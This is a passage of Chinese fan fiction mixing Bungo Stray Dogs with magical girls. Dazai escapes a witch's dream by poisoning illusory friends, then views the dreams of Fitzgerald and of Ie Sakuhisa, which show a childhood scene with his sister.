太宰治迟疑地反问，感觉记不清自己当年有没有这个样子了。 应该没有吧，没理由会这样，他和中也根本没办法好好相处啊。 织田作之助却点点头说：“安吾说的这些，我也曾经听人提起过。” 这就奇怪了…… “对了。” 太宰治忽然想到了一个点，缓慢地出声问道：“刚才你们说的是‘朋友们’吧……除了中也之外，你们还在指谁？” 空气里安静了几秒。 他们三个互相看着彼此，半天都没人说话。 直到坂口安吾先干涩地开口：“我不记得了。” 织田作之助也道：“我也想不起来，但记得太宰你确实之前跟我们提起过，说过跟那几个人相处起来很麻烦这样类似的话，更多的就记不起来了。” “就只是这样？” 太宰治有点不明白：“就这种话，你们为什么会认为那些麻烦是我的朋友？” 坂口安吾轻叹了口气：“没办法，太宰你就是这样的性格啊。” 织田作之助附和道：“太宰确实不够坦率。” 太宰治：“？？？” 织田作之助解释道：“如果你真的觉得那几个人只是麻烦的话，平常就不会那么在意了，甚至都不会经常跟我们提起来。” 太宰治无奈地说：“……我现在倒是也觉得我真的喝多了。” “偶尔放纵地彻底喝醉一次也没什么。” 织田作之助关心地说道：“如果你遇到什么不好的事情，可以趁着喝醉坦率地说出来，就算不喝酒也可以说。” 坂口安吾也觉得太宰治今天异常得过分了，实在不放心对方地道：“有什么事情别憋在心里，说出来我们也可以一起帮忙解决。” 太宰治确实有很多困扰的事情。 他抿了抿嘴，低声说：“说出来也没办法解决，还要让更多的人烦恼痛苦，何必呢？” 就像是记忆修正那件事一样。 从织田作那里拿走对方记录记忆的本子，不再让对方重新记起这些烦恼的事情，不就是最好的做法吗？ “这个样子的太宰还真是罕见。” 坂口安吾忍不住说道。 太宰治幽幽地看向他。 坂口安吾假装咳了两声，随后才认真地说：“但我们是朋友，对吧？如果你遇到了很不好的事情，不告诉我们，才会让我们更加烦恼痛苦呢。” 织田作之助非常赞同地应道：“是这样没错。” 听到这样的话，太宰治心里有点不知道是什么滋味。 停顿了片刻，织田作之助补充道：“如果和其他朋友闹矛盾了，也要好好说开才行。如果是朋友的话，一定能够互相理解的。” 太宰治哭笑不得地说：“我真的没跟其他朋友闹矛盾……” 甚至，他根本都不清楚‘其他朋友’到底都是谁。 这个幻境真是又给他带来了很大的谜团啊。 这个时候，太宰治忽然不知不觉地想到了伊江朔久。 说起来，他不久前才和对方做了约定来着。 因为对未来不抱希望、不觉得自己会输，所以他无所谓地答应了伊江朔久，在最终结果还没有揭晓之前暂且先活下来。 如果自己主动死在了这个结界里面，不就是违反了约定吗？ 而且按照以往的经历来看，在艾尔菲和自己相继进入结界、短时间内无法出来、疑似有危险的时候，朔夜总是会及时赶到援助的。 等朔夜进来后发现自己违约了的话，一定会很生气的，应该还真能闹出个不小的矛盾来。 所以，还是先想办法离开这里吧。【你现在阅读的是 】 180-190 第181章 虽然太宰治转变了想法，准备想办法活着离开这个魔女结界了。 但是，这种事也不是想做就能轻松做到的。 上次遇到预言魔女的时候，他和禅院穗只在幻境里待了一会儿，然后就因为外界朔夜的干扰而清醒过来了。 两次陷入幻境的经历虽然有相似之处，可是不同点却更多。 其实，这次与其说是幻境，不如说是梦境更合适一些。 ……他还得了解些更多的情况再做出判断。 于是，和织田作与安吾告别，再从Lupin酒吧离开之后，太宰治一边慢慢地往城市边缘走去，一边注意着观察周遭的一切。 这里出乎意料得大且真实。 如果不是知道目前的情况，他会以为自己真的回到横滨了。 不过，随着越走越远，去到了之前没怎么去过的地方……太宰治发现周围的建筑物渐渐没那么清晰了，就像是蒙上了一层雾。 这当然不出奇，他的记忆力虽然很好，但也不可能把整个横滨的每一处细节都记下来。 太宰治淡定地继续往前走着。 结果没过多久，忽然之间他一个晃神，随后就发现周遭的环境改变了，自己出现在了之前经过的某个地方。 看来已经没办法再继续往前了。 太宰治没再浪费时间，便选择放弃地回去了。 这个时候夜色已深，但在梦境里也没必要睡觉，太宰治灵光一闪，于是换了个方向去港口黑手党。 “太宰大人？” 值夜班的黑手党成员有些惊讶会在深更半夜看见太宰治。 太宰治按照当年自己的习惯，音调微微压低，自然随意地道： “回来取个东西。” 这里的绝大部分成员都不可能管得了他，闻言也没怎么在意。 甚至，太宰治并没有走回自己的办公室，而是光明正大地一秒撬开了中原中也办公室的门锁，走了进去。 看到这一幕的某些个黑手党成员也只是有点不安，纷纷装作没看见。 如果出了什么事情，中原中也自会找太宰治的麻烦。 而他们其他人根本不敢多管闲事、插手这两个人的事情，免得引火上身。 太宰治进入中原中也的办公室后，比待在自己办公室时还要随意。 他胡乱翻看着桌子上摆得整整齐齐的文件资料，了解了一下梦境里具体的时间线。 但又发现奇怪的地方了。 这里面除了和黑手党工作有关的资料，还有一部分特殊的资料压在最底下，看起来与黑手党有点不和谐。 ——是关于哪些地方发生了奇怪的事情、民众遭遇了什么危险意外的，其中甚至包括许多不怎么重要的异常。 这些资料看起来更应该出现在政府人员、或侦探社成员的办公桌上。 哦，对了，专门为魔法少女成立的有关部门应该也会很关注这些事情。 但是，身为黑手党的中也为什么要关注这些？ 太宰治将疑问压在心底，漫不经心地拿起了笔，在这些文件上悠闲地随意涂鸦，画各种抽象的惊悚画…… 都在自己的梦里，当然是想做什么就做什么了，哪里需要顾忌那么多。 …… “太—宰—治——！！！” 早晨，大半个楼的黑手党成员都听见了中原中也的怒喝声。 按照以往的经历来看，能惹这位大人这么生气的也就只有太宰大人了。 他们默默在心里给太宰治点了一根蜡烛。 “你都干了些什么啊？！” 中原中也拿着被涂鸦的文件，身上冒起了红光，怒气冲冲地质问道：“想挨揍了就直接说，我不介意帮帮你。” 太宰治笑着说道：“大清早的，别那么暴躁嘛。” 中原中也咬牙切齿道：“那都是怪谁啊？这次别指望着其他人劝架了，我一定要好好揍你一顿，让你长长记性……” 太宰治看着丝毫没有害怕的样子，还随口问道：“其他人劝架？谁呀？森先生吗？” 中原中也不再多说，拉起袖子就狠狠挥了一拳过去。 然而出乎意料的是，太宰治身形一动，灵活地躲过了这次攻击。 “哈？” 中原中也皱起眉头。 他能察觉到，太宰治的体术似乎突然有了一个质的飞跃，进步得简直要让人怀疑对方是不是被夺舍了。 太宰治打趣道：“中也，你体术下降太多了，不能再这么偷懒咯。” 从这么能惹人生气的表现来看，眼前的太宰治应该没什么问题。 “谁偷懒了？”中原中也冷笑道：“不管怎么样，把你家伙打趴下，对我而言还是轻轻松松的。” 结果话音刚落下，电话就响起来了。 对于特殊的非常重要的对象，比如首领、红叶姐这些，中原中也是有特殊铃声提示的。 他举着的拳头被迫停在半空中。 太宰治幽幽地提醒道：“快接电话吧，万一是有什么重要的事情呢。” 中原中也狐疑地深深看了他一眼，怀疑是这家伙搞的鬼，但是没有证据，只能不情不愿地接了电话。 是森鸥外的电话。 “中也君，我有一个紧急的任务要交给你……” 听到正事，中原中也正经起来，了解完情况后回复道：“是，我马上去做。” 太宰治似是感慨地说了一句：“真忙碌啊。” 中原中也不由得问道：“不会是你搞出来的事吧？” “怎么可能和我有关呢，别想推卸责任。” 太宰治不漏任何破绽地说道：“快去完成任务吧，别让森先生等着急了。” “别想着能够逃过一劫，等我空下来，绝对不会忘了好好教训你一顿。给我好好等着吧。” 中原中也威胁完之后，就不得不赶紧离开了。 看着对方生着闷气离开的背影，太宰治在其身后无声地笑得很开心。 哈哈哈哈哈哈…… 这个时候的中也真好逗，港口黑手党也挺好拿捏的，玩起来可有意思了。 只可惜，他不能在这里再待多久了。 太宰治能感觉到，随着时间的推移，他希望出去的想法越来越淡。 甚至，在不知不觉间渐渐适应了这里的一切，仿佛自己本来就应该待在这里一样。 如果再拖延些时间的话，他的意志可能会被软化，会将这里虚幻的一切当成现实，沉溺在美好留恋的梦境之中。 这可不行。 在发现了一些被过去的自己忽略很久很久的异常之后，太宰治愈发明白自己必须得出去。 还有很多事情等着自己去确认，他一定会顺着线索不断挖掘，直到揪出这一切的秘密。 直觉告诉他，这些秘密非常重要。 第182章 之后，太宰治又在梦境里待了几天。 在这段时间里，他尝试了不少方法，可都没能够出去。 太宰治曾试着破坏这里的建筑物。 虽然能够毁掉，但似乎没什么用。 就算他当着无数人的面胡言乱语地破坏建筑，其他人也会将这些当成是天灾或是意外，自动将他过于离谱的行为合理化。 太宰治也试着杀掉了梦境里的NPC，但和破坏建筑没什么区别。 不管怎样做，自己都不会陷入糟糕的处境。 这里的一切仿佛都在为他服务，就像是编织了一场美好的梦境软化他的心志、企图将他留在这里。 当然，太宰治也试过伤害自己。 结果是那会让自己的精神越来越疲惫。 他估摸着如果下狠手在这里杀了自己，现实中的自己也就大概率会脑死亡了吧。 这么看来，情况好像很糟糕，应该很难从这里出去。 如果换做是其他人的话，或许知道这样的世界是假的，也可能会甘愿沉溺于以自己为主角的顺遂世界里。 更何况随着时间的推移，这里会催眠人的潜意识，使其越来越觉得周围的一切就是真实的。 但太宰治既然决定了要出去，就不会轻易地被困住。 而且，都已经过去了几天的时间，如果朔夜能像上次一样过来援助的话，他早就从梦境里醒来了。 所以，太宰治猜测梦境里的时间和外界的时间流速不同，说不定赶来帮忙的朔夜此刻也正被困在这里面、没来得及出来呢。 那就更得赶紧出去看看乐子了。 太宰治最终回到了梦境最开始的地方——Lupin酒吧。 根据这几天所获得的情报来推断……他需要抹除掉自己美好留恋的事物，才能彻底打破这样的美梦。 所以，他邀请来了织田作和安吾。 “尝尝我给你们特调的螺丝起子吧。” 太宰治将两杯酒端到了自己的两位好友面前，微垂着头，将神色掩藏在黑色的额发之下，轻声对他们说道。 织田作之助愣了一下，察觉到对方这样的举动有些异常：“螺丝起子？” 太宰治简单应了一声。 “现在喝螺丝起子是不是还太早了点？”* 坂口安吾想起小说《漫长的告别》里那句名台词，此刻不由得应景地这样说了一句。 “是啊。”太宰治点点头，也没有强求他们立刻喝下，只是把两杯酒放在桌子上。 “既然是太宰君特调的酒，我当然得好好尝尝。” 坂口安吾这么说着，故作认真地道：“不过，我得先问问……” “……里面没有加洗洁精吧？” 织田作之助端起酒杯仔细看了看，说道：“应该没有吧，里面没有那么多气泡。” 坂口安吾尴尬扶额，说：“我只是在开玩笑而已。” 织田作之助恍然道：“原来是这样，这个玩笑很有意思。” 坂口安吾欲言又止，最终只说了句：“织田作先生，不用这么安慰我。” 在他们这样几句轻松日常的交谈之后，气氛很快缓和了许多，打消了一开始因太宰治的异常而带来的古怪氛围。 坂口安吾关心地问道：“对了，太宰，今天怎么特意邀请我们过来聚聚？有什么事情吗？” 太宰治若无其事地笑着说：“没有哦。” 织田作之助想了想，问道：“那你有解决掉前些天让你不开心的事情吗？” “没有。” 太宰治顿了下，说道：“不过，我已经做好解决那些事的准备，并开始行动了。” 织田作之助道：“这就已经很好了。” “那么，为了祝太宰成功，我们来干杯吧。”坂口安吾端起了一杯螺丝起子，轻松地笑着说。 他们三人举起各自的酒杯轻轻相碰，玻璃杯发出清脆悦耳的碰撞声。 这一幕与过去的无数情景相似，也像极了未来的许多片段。 只可惜，如今的太宰治不是真正的十七岁的自己，而面前的友人也只是虚幻的被构造出来的存在。 …… 十几分钟后。 看着昏睡过去后毒发身亡的两位友人，太宰治勉力露出了难看的笑容，对他们说道： “对不起，谢谢你们……晚安，再见。” 等回到现实之中，他或许就再也没有和他们于Lupin酒吧再会的机会了，真实的织田作甚至已经不记得他这个人。 但是，沉浸在虚假的幻象之中也没有任何意义。 只是他会记住在这里经历的一切。 如太宰治预料的那样——在织田作和安吾彻底死掉的几秒后，梦境立刻便破灭了。 太宰治睁开了眼睛。 周围是白茫茫的一片，单调的白色和微光让其不适应地眨了眨眼。 过了片刻后，太宰治才逐渐习惯了，注意到自己现在跟刚刚进入这个魔女结界时一样，仍旧是一副魔法少女的打扮。 她站起来，仔细观察了下周围。 暂时没有发现魔女的存在。 但是，附近有很多奇奇怪怪的白色的茧，大多都有着鸵鸟蛋大小，就这样随意地躺在地上。 看着有些像使魔。 太宰治现在从梦境中清醒过来，能够使用书页了，反正不管遇到什么都可以瞬移离开…… 她也就不在意危险，顺从自己好奇心地伸手触碰了下其中一个白色的茧。 顿时，太宰治的眼前玄而又玄地出现了一个场景。 她看到，一个棕黑发的女孩出现在画面正中央，正笑着与父母和弟弟交谈，氛围温馨又愉快。 只不过，太宰治敏锐地察觉到，女孩的神情动作不太符合本身年龄，像是将一个更加成熟的灵魂塞进了年幼的躯体里。 这种既视感……让太宰治想起了不久前处于梦境之中的自己。 她明白了。 原来这些茧不是使魔，而是那些昏睡的人们储存在这里的美梦啊。 第183章 那这么说起来，岂不是…… 太宰治将手从那个白色的茧上放下来。 刚才那些莫名出现的画面也就随即消失了。 她再次环顾了一下四周，视线一个个扫过那些数量众多的茧，最后锁定在了不远处的两个茧上面。 那两个茧非常显眼，因为它们的体型比其他的要大上好几倍，里面都能够装得下一个人类的身躯了。 太宰治合理推测，自己刚才可能就被困在这样的茧内。 而进入结界后许久没有消息的艾尔菲，大概率就在这两个茧的其中一个里面。至于另一个……最有可能的是前来援助她们的朔夜。 哇哦。 太宰治在心里棒读道。 她不由得庆幸自己出来得足够快，不必被别人看自己笑话，甚至自己现在还有机会看见别人的梦境。 太宰治带着好奇心凑了过去，随便先做了个二选一，伸手触碰到其中一个茧上。 于是，她眼前又浮现出了新的画面。 那是在一个有着美式装修风格的房子里，有一家人正坐在餐桌前，共同吃着晚餐。 这温馨自然的氛围和无数个平凡幸福的家庭没什么两样，看起来没什么特殊好在意的。 只不过，太宰治认识其中那个金发蓝瞳的男子而已。 这是艾尔菲的梦境。 太宰治早就猜到对方的真实身份是菲茨杰拉德了，对对方许愿的大概内容和目前的家庭情况也有所了解，所以并不意外会看到这样的场景。 “弗朗西斯。” 金色微卷短发的女子侧眸望向菲茨杰拉德，担心又期待地问道： “你还能休假多久？我们一家人什么时候有机会一起出去游玩呢？斯科蒂可是跟我念叨好久了。” “明天就可以。”菲茨杰拉德温声道：“放心，只要你们希望，我随时都有空。” 坐在一旁的女孩弯起眉眼，高兴地欢呼：“太好了！” 泽尔达也很高兴，不过比起年纪较小的女儿，她想的会更多一些：“那工作不要紧吧？会不会让你很为难？” 菲茨杰拉德却道：“不用在意那些，什么都没有你们重要。” 泽尔达不好意思地微微偏过脸：“就会哄人。” 菲茨杰拉德摇了摇头，带着淡淡的笑意道：“我是认真的。” “你以前可不是这样的。” 泽尔达故意打趣道：“之前你工作不总是很忙吗，还说什么事业正处于上升期，想要努力给我和斯科蒂更好的生活。” 斯科蒂也点点头附和：“是啊，感觉这段时间爸爸变了很多很多。一开始还真令我惊讶，担心你是不是出什么事了呢。” 菲茨杰拉德无奈地说：“我只是忽然想通了而已。工作再怎么重要，也不会有家人重要。” “说真的……” 斯科蒂忍不住用手捂脸，小声道：“爸爸突然变成这样的说话风格，还挺让人难以习惯的。” 菲茨杰拉德犹豫地问：“这样不太好吗？” 泽尔达立刻回答道：“很好啊，这样的改变很不错，我很喜欢。” “嗯嗯！”斯科蒂也肯定道：“我也更喜欢现在的爸爸！” 妻子和女儿都赞同着现在的他，一大一小两张相似的脸庞上露出美好的笑容，氛围看起来温馨极了。 真好啊。 菲茨杰拉德觉得，自己应该感到高兴，至少也跟着笑起来比较好。 但是不知道为什么，他此刻有些落寞。 或许是因为最近这段时间，偶尔会有奇怪的画面在他脑海里一闪而过吧。 比如说就在刚才，明明正处于很好的氛围。 但是那时，菲茨杰拉德听着妻女的话语，看着她们的笑颜……他忽地怔了一下。 恍惚之间，面前的画面被奇怪的幻象所取代。 ——面前依旧是妻子和女儿的面庞，但上面没有笑容，甚至看起来并不开心，眼睛里带着某种他极不愿意看到的情感。 是……失望。 耳边听到她们熟悉又陌生的声音。 “你以前明明不是这样的，为什么现在却总是什么都不说？” “我没办法理解，为什么你就是不肯告诉我们呢？我们难道不是家人吗？” “都已经两三年了，你到底隐瞒着什么？还要继续瞒我们多久？你打算一辈子都不告诉我们吗？” “为什么我们一家人之间要始终隔着一层什么东西？” “对不起，我不知道该怎么让自己不去在意。隐藏着越来越多的秘密的你，真的越来越让人觉得陌生了。” “我们的家还能回到以前那样吗？” “……” 菲茨杰拉德胸口仿佛压着一块会不断变重的巨石，压得人痛苦烦闷，压得人难以呼吸…… 他伸手攥住了胸口处的衣服，神情恍惚，一时分不清自己到底在哪里。 “弗朗西斯，你怎么了？” “爸爸？” 耳边传来妻子和女儿关切的话语。 可是此刻，他仍有些无法辨别虚幻与现实。 菲茨杰拉德晃了晃脑袋，努力想让自己清醒一些，却始终有些无力。 直到……他感知到有一只温热的手贴上了自己的额头。 虽然能够传递过来的热量并没有多少，但是却像是一根牵住了风筝的线，让他的心慢慢安定下来，体会到了那么一丝真实。 菲茨杰拉德微微挪过视线看去。 对上了妻子望过来的那双眼睛：“你还好吗？弗朗西斯？” 那目光里有担忧、有关切……幸好，他没有在里面看到失望的情绪。 “我……没事。” 菲茨杰拉德缓过了一口气。 刚才只是幻觉而已。 他告诉自己，不要多想，没必要多想，别为虚假的不重要的事情扰乱自己的心绪。 眼前的幸福是那样真实，伸出手就可以切实地触及到。 为什么要怀疑它？ 怎么能够将它推远？ 第184章 泽尔达和斯科蒂关心着菲茨杰拉德的情况。 看到他终于缓过来一些了，斯科蒂忍不住问道：“刚才真的吓到我了，爸爸你到底怎么了？是生病了吗？” 菲茨杰拉德摇了摇头，不知道该怎么说。 “肯定是之前的工作太辛苦了。” 泽尔达边说着，边去端了一杯水过来，递到菲茨杰拉德面前： “刚好你最近工作不忙，那就好好休息一段时间吧。明天再去见见医生，看要怎么调养身体，一起出去游玩的事以后再说。” 闻言，菲茨杰拉德不由得立刻开口道： “我真的没关系的，不妨事。” 他现在的情况比较奇怪，自己也说不出来，但就是预感将这件事逃避掉会比较好。反正医生也不可能帮得上忙。 “刚才那情况还是第一次出现，而且我现在已经完全没有任何不适了，所以不用着急去看医生。” “明天先一起出去玩吧，不是说斯科蒂已经期待很久了吗。” 然而，斯科蒂却不高兴地说：“虽然确实很想去，但还是你的健康最重要啊。” 菲茨杰拉德无言，看着女儿鼓着腮帮子的样子，没忍住伸手揉了揉对方的头发。 斯科蒂强调道：“我已经不是小孩子了！” 泽尔达也支持女儿，对丈夫说道：“是啊，健康才是更重要的。以后又不是不能一起出去了，哪里需要在乎这一天两天的。” “以后……” 菲茨杰拉德不知道想起了什么，不由得轻声喃喃道。 泽尔达肯定道：“是的，以后还有的是时间。” 菲茨杰拉德怔了一下，随即也点点头，说道：“是这样没错。” 如今的一切都会维持下去的，永远不会变，以后绝对依旧会是如此…… …… 看到这里的太宰治，无奈地收回了手，知道自己已经没有再看下去的必要了。 菲茨杰拉德已经进入梦境很久了。 在里面待的时间越长，越容易沉溺进去，忘记真实的情况，会将梦境制造的虚假的美好当作现实。 太宰治觉得自己早该知道的——菲茨杰拉德刚进去的那段时间没能出来，到现在当然就更难从中挣脱了。 但是，太宰治刚才还是想试试把对方唤醒。 她先试着敲了敲眼前的这个茧。 它看着还蛮坚固的。 但再坚固也不会特别难对付，利用科技或魔法，都有的是能将其打破打开的方法。 如果真的能够破坏掉这个茧的话，或许里面的菲茨杰拉德就能够脱身了。 于是，太宰治稍微用了一些力气，尝试着进行破坏。 结果却就像刚才所看见的那样不如人意。 ——破坏茧的时候，其中的菲茨杰拉德也受到了一些刺激，状态看起来很不对劲。 太宰治刚用的那么一丝力气便又很快收了回去，不好再继续进行尝试。 否则恐怕会将对方弄成脑死亡。 现在也不能指望菲茨杰拉德突然奇迹般地想通，然后自己亲手杀掉最重要的家人的幻象，从美好的梦境回到冰冷的现实…… 那就只好由其他人杀掉魔女了。 魔女死掉后，这些被魔女制造出来的梦境大概率就会自动坍塌，使菲茨杰拉德自己清醒过来。 不过，在那之前…… 太宰治侧头看向不远处的另一个特殊的大型茧。 那里面大概率会是朔夜。 而自己可是早就对那家伙好奇很久了，一直想要探索对方隐藏的秘密，却莫名其妙地常常吃瘪。 这次可真是个难得的机会，更何况目前自己还有着光明正大的理由。 不知道伊江君此刻正处于怎样的梦境之中呢？ 太宰治靠近过去，向前伸手去触摸那个茧…… …… 面前是一个约莫七八岁的小女孩，白发已经长到了腰间，却只用简单的黑皮圈松松垮垮地扎着，衣服也明显小了一号，穿在身上显得很奇怪。 一看就像是没有家长在好好照料的样子。 但是，她的那双青色眼睛却很明亮，脸上也几乎一直挂着明媚的笑容。 那女孩端着一盘卖相不怎么样的蛋糕从厨房出来，拐到旁边一个不大的房间，拉开门，语气轻快地喊道： “朔夜，朔夜！……” 从画面里出现这个女孩的时候，太宰治就诧异得有点失神了。 对方和朔夜真的很相似却又很不相似。 相似的点在于外貌。 两人不仅仅都是特殊的白发青瞳。 还有……作为魔法少女的朔夜年龄大概固定在了十三四岁，外表比面前的这个小女孩大个六岁左右。 朔夜看起来简直像是对方未来成长些之后的样子。 第185章 而他们之间不相似的点也很明显。 不管是朔夜还是伊江朔久，都一直表现得内敛沉着安静。而面前的这个七八岁的女孩，却一看就很外向活泼开朗。 这两人的性格千差万别。 ……对了。 太宰治忽然想起两年前，她们在港口黑手党解决那个魔女时的情形。 从当时起，她们就都知道朔夜的演技很厉害了。 面前这个女孩子的性格……似乎和当年朔夜故意演出来的样子很接近，给人很眼熟的感觉。 只要不嫌辛苦、不担心把自己逼疯，想要每时每刻都将自己伪装成另一个人。对于某些人来说，还是不算太难的。 不过当然，性格这些也是有可能会随着时间而改变的。 难以改变的是外表，还有性别。 想到这里，太宰治又想起了如今作为魔法少女的自己，心情不觉有点复杂…… 总之，伊江朔久本身也应该是个男性没错。 在没有签订契约变身之前，性别大概率是不会发生改变的。 所以，眼前这个女孩应该不是伊江朔久。 果然…… 紧接着，太宰治就看见那女孩走进房间里，将蛋糕端到这里的另一个小孩子面前，兴冲冲地招呼对方道： “朔夜，朔夜！……快尝尝我刚做好的蛋糕！” 太宰治有些意外。 ……朔夜？ 房间里的另一个小孩子也是白发青瞳，看起来才最多三四岁，正翻看着一本有些皱巴巴的故事书。 这是朔夜？ 仔细看看，这个孩子虽然年幼，但也能从眉眼处看出与伊江朔久的相似之处。 就是他的头发长至肩处，没怎么剪。所以在还没长开的这个年纪，容易让人误以为会是女孩子。 并且……朔夜sakuya这不就是个女孩子的名字吗？ 太宰治第一次听到这名字的时候，就觉得不会是真名，明显是个比自己随便取的‘津岛’更敷衍些的假名。 尽管听起来还挺不错，可是寓意其实并不怎么好。 朔夜的字面意思大概是，在每月朔日的这一天，月光黯淡到几乎难以看见的夜晚。大概率不会有父母会给孩子起这种名字。 没想到伊江朔久之前却还真被叫过这个名字。 …… 听见女孩的声音，那个被换做朔夜的小孩子便乖巧地把书放到一旁的桌子上，抬起头看向了她。 女孩却凑过去，看了看旁边摆放的那些故事书，问道：“你都不认识这么多字，怎么又在看这些？” 那个最多三四岁的小孩简单回答：“只是随便看看。” 女孩忽然觉得不识字却无聊得只能翻书的孩子有点可怜，身为姐姐的责任感涌上心头，立刻郑重说道： “朔久，以后无聊的话就喊我，我把这些故事念给你听。” 对方点点头：“谢谢姐姐。” …… 太宰治能够从那个小孩子身上看到伊江朔久的影子。 就和刚才的自己与菲茨杰拉德一样，面前年幼的孩子身体里放着不符合年纪的灵魂。 虽然伊江朔久表现得没有菲茨杰拉德那么明显，能看得出来对方是在尽量不让那女孩感到异常。 但是这个身体实在太小了，对方很难真的表现得像一个三四岁的孩子…… 太宰治看着眼前的这些画面，仔细分析着所有微小的信息。 但即使在这种时候，能够借用上帝视角作弊，之前的那些问题却依旧暂时得不到解答，甚至还多出了一些疑惑。 比如，为什么这女孩一会儿叫他朔夜一会儿叫他朔久？ 还有，伊江朔久难不成真是对方的真名吗？ 可是太宰治查了那么久，始终查不到对方六年之前的任何真实信息，就像对方是凭空冒出来的一样。 如果这是真名的话，不至于查不到一丁点信息吧。 …… “对了，蛋糕！” 女孩想起自己的来意，把卖相不怎么样的蛋糕期待地递给弟弟。 “我辛辛苦苦做了很久的，虽然不够蓬松、也没有奶油，可是闻起来很不错的。你快趁热尝尝。” 伊江朔久看了看这块不大的金黄色蛋糕，又看了看紧紧盯着蛋糕的姐姐。 迟疑了不到一秒，他就说道：“我不饿，你吃吧。” “你今天一天都没有好好吃饭，怎么可能不饿。” 女孩不相信他的话。 她想了想，自以为猜出了一个对方不吃的理由：“你是不喜欢吃太甜太腻的东西，对吧？” 没等对方回话，她就得意地说：“放心，我都记着呢。所以我只在里面加了一点点的糖，真的只有一点点。” “我真的不饿……” 伊江朔久抿了抿嘴，说道：“其实，我现在已经喜欢甜食了。” 听到这话的女孩一愣，随即意识到自己的喜好终于得到了认同，顿时笑起来：“我就说，甜食最好了，越甜越好，能让人的心情也跟着变好。” 不过，可惜没有早知道弟弟转变了喜好，她刚才只往里面加了很少很少的糖。 女孩简单思索了片刻，想到了一个解决方法。 随后她将装蛋糕的盘子先放到了一旁的桌子上，说了句“等一下”，就匆匆忙忙地从房间里出去了。 应该是在厨房里摸索了好久。 等到那女孩再次拉开房间的门、走进来时，左手上多了一个装着白色颗粒的小瓶子。 “没有蜂蜜了，原本放白砂糖的瓶子也几乎空了，我好不容易才找到了这一瓶。” 女孩有点苦恼地说着：“希望里面的白砂糖没有过期，说起来白砂糖这种东西到底会不会过期啊？感觉应该是没事的。” 伊江朔久听着总觉得有点不放心。 可是，还没来得及说话，便见到女孩已经将瓶子里装着的糖大片大片地洒在蛋糕上。 甚至女孩还觉得不够，将蛋糕从中间撕开，把剩下的糖全塞进去，做了个白砂糖夹心。 这糖分含量…… 对于一般比较喜欢甜食的人来说，感觉也像是致死量吧。 第186章 “不饿的话，就你一半我一半吧，这蛋糕本来也不大。” 女孩一边说着，一边将自己刚加工好的白砂糖蛋糕递到对方面前。 她忍不住催促道：“快尝尝我做的怎么样？” 于是，伊江朔久便只好先掰下了一小块，尝了尝…… 果然，就算是在梦境之中。 他的味觉依旧是减退到几乎尝不出什么味道的地步。 曾经已经用天平交换出去的东西，没那么容易再收回来——他很清楚这一点，也当然不会后悔自己的选择。 但因为他的味觉也没有彻底报废，所以伊江朔久还是能够分辨出这浅淡的味道不是甜味，更像是……一点奇怪的涩味和鲜味？ 瓶子里装的那个不是糖吗，怎么会有这样的味道？难道真的过期了？ 还是说，这是蛋糕本身没做好而表现出来的原味？ 伊江朔久很难确定。 不过，虽然这味道比较古怪，可平常大多数事物对他而言都是寡淡无味的，所以这一点点莫名的味道让他感到有点新颖。 伊江朔久下意识又掰了一小块仔细尝尝。 “怎么样？怎么样？” 女孩又催促了两声，有点等不下去了。 在伊江朔久还在艰难地品味这蛋糕的具体味道时，她便迫不及待地伸手也掰了一小块。 伊江朔久很快反应过来，试图阻止对方，但刚发出一个音“别……”，女孩就已经干脆利落地放进了自己嘴里。 随即…… 女孩的表情骤然变得痛苦扭曲起来。 “呕——” 她一下子又将刚放到嘴里的那小块蛋糕吐了出来，不知道如何是好，委屈巴巴地喊：“纸！快……” 伊江朔久及时地递上了几张纸，还拿了个水杯：“漱漱口。” 女孩赶紧接过，好一会儿才收拾完并且缓了过来。 伊江朔久不由得关心道：“没事吧？” “那根本就不是糖。”女孩埋怨又可惜地道：“味道好怪、好难吃，我还加了这么多……” 不是糖？ 伊江朔久问道：“不是过期了吗？” “不是。这好像是……味、味精？以前妈妈给我说起过。” 突然，女孩想起了弟弟刚才的举动，非常不解道：“对了，朔久，你刚才是怎么能够吃下去的啊？” 伊江朔久迟疑地回答：“我……感觉还好。” “……你的喜好越来越奇怪了。” 女孩忍不住说道，然后顿了顿，补充了句：“当然，喜欢吃甜食还是绝对没错的。” …… 因为伊江朔久并不清楚其他人可以看见他梦境里的场景，再加上久违地与姐姐相处，让他有点心情复杂。 所以并没有多么用心地像往常一样伪装做戏。 尽管他能够糊弄年幼的姐姐，可是，偏偏最难糊弄的太宰治就在外面注意着他任何的细微动静和情绪。 太宰治沉思着，心里慢慢有了一些推断。 从刚才的情况来看，伊江朔久的味觉丧失得很明显了。 怪不得之前他曾经注意过对方一勺一勺地往自己杯子里加糖，那时候他就在奇怪，对方怎么这么嗜甜。 现在想来，伊江朔久或许是因为姐姐的缘故，才喜欢上了甜食，而只有在加入致死量的糖分后才能感受到一丁点微不足道的甜分。 但是……为什么对方会变成这种情况？ 明明小时候的伊江朔久看上去健健康康的，除了缺少父母的照顾而没有合适的衣服和发型之外，似乎没什么问题。 但是现如今，伊江朔久味觉失常、无法行走…… 甚至太宰治之前还注意到，对方曾经意外受伤自己却没有第一时间察觉，也不知道痛觉是不是同样出了问题。 但是不像其他魔法少女战斗受伤的稀疏平常，朔夜很少会受伤，演技也很好。 太宰治便始终难以做出判断。 这样说来，对方或许还隐瞒着别的什么身体问题。 那些都是怎样造成的呢？ “砰咚——” 伊江朔久和女孩所处的房间外忽地传来一声异动，引得所有人的注意力都集中了过去。 女孩愣了一下，转而想到了什么，立刻先跑了过去。 伊江朔久见状，便也跟上了她。 外面客厅里。 现在夜色慢慢浓重起来，灯也没有被打开，但是还好有窗外的光透过半掩的窗帘照了进来，使得勉强能看清周围的情况。 一个亚麻色长发的女子坐在地上，发丝散乱，半掩着她满是泪痕的面庞。 她的身旁有一张倒下的桌子，上面曾摆放的东西掉落一地，杯子也因此碎裂，碎片到处都是。 而她的腿部似乎是刚才因为这杯子碎片而受了伤，腿上的划痕处正缓缓渗出鲜红的血液。 看到这一幕，女孩下意识惊呼一声。 亚麻色长发的女子看向她这边，青色的眼睛含着泪，张了张口，发出一声很轻的呼唤：“……幸樱。” “妈妈！” 女孩跑到对方的身旁，慌乱而不知所措地道：“你还好吗？” 但女子没有回话，呼吸急促且不规律，紧紧地攥着拳头，像是在忍耐着什么。 伊江朔久安静地看着这一幕，也向前微微挪了几步，站在姐姐身后。 他将目光放在那女子身上，时刻注意着对方的任何动作。 不过也幸亏现在处于梦境之中。 这里只会将他记忆里美好的一面刻画出来，想要让他沉溺其中永远出不去，自然不会让令人烦心的事情发生。 那个亚麻色长发的女子这次没有朝着幸樱发气。 